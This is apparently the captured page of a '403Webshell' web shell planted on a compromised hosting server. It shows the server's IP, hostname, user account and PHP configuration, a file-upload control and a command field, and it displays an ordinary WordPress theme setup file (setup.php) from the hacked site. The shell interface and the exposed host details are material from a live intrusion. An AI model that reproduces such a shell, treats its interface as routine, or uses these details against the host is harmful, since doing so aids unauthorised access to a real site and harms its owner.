403Webshell
Server IP : 62.60.133.156  /  Your IP : 216.73.217.51
Web Server : LiteSpeed
System : Linux linux24.centraldnserver.com 4.18.0-553.141.2.lve.el8.x86_64 #1 SMP Wed Jul 8 16:10:02 UTC 2026 x86_64
User : mimradmin ( 1166)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, exec, popen, proc_open
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : ON |  Sudo : OFF |  Pkexec : OFF
Directory :  /home/mimradmin/.trash/wp-content.1/themes/wp-buka/includes/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/mimradmin/.trash/wp-content.1/themes/wp-buka/includes/setup.php
<?php

// Prevent Direct Access
if( !defined('ABSPATH') ){
	exit;
}

// ---------- Theme Setup

function buka_theme_setup(){

	// Title Tag Support
	add_theme_support('title-tag');

	// Post Thumbnail Support
	add_theme_support('post-thumbnails');

	// Image Sizes
	set_post_thumbnail_size(350, 233, true);
	add_image_size('about', 400);
	add_image_size('logo', 1000, 50, false);
	add_image_size('logo_large', 2000, 100, false);
	add_image_size('portfolio', 255, 255, true);
	add_image_size('portfolio_large', 540, 540, true);
	add_image_size('portfolio_full', 1920);
	add_image_size('blog', 730);
	add_image_size('blog_wide', 1110);
}

add_action('after_setup_theme', 'buka_theme_setup');

// ---------- Excerpt Settings

function buka_excerpt_more($more) {
	return ' ...';
}

add_filter('excerpt_more', 'buka_excerpt_more');

function buka_excerpt_length() {
	return 105;
}

add_filter('excerpt_length', 'buka_excerpt_length');

// ---------- Disable Contact Form 7 autop

add_filter('wpcf7_autop_or_not', '__return_false');

// ---------- Disable theme update

function buka_disable_theme_update($value){

    if( isset($value) && is_object($value) ){
        unset($value->response[get_template()]);
    }

    return $value;
}

add_filter('site_transient_update_themes', 'buka_disable_theme_update');

// ---------- Constants

// Site is_rtl detect (use this in admin pages to avoid conflict when admin and site locales are different. this always returns site front-end is_rtl status)
if( get_locale() == get_user_locale() ){
	define( 'BUKA_IS_RTL', is_rtl() );
}
else{
	$rtl_locales = ['arq', 'ar', 'bcc', 'dv', 'haz', 'ckb', 'ary', 'ps', 'fa_IR', 'fa_AF', 'snd', 'azb', 'ur'];
	define( 'BUKA_IS_RTL', in_array(get_locale(), $rtl_locales) );
}

Youez - 2016 - github.com/yon3zu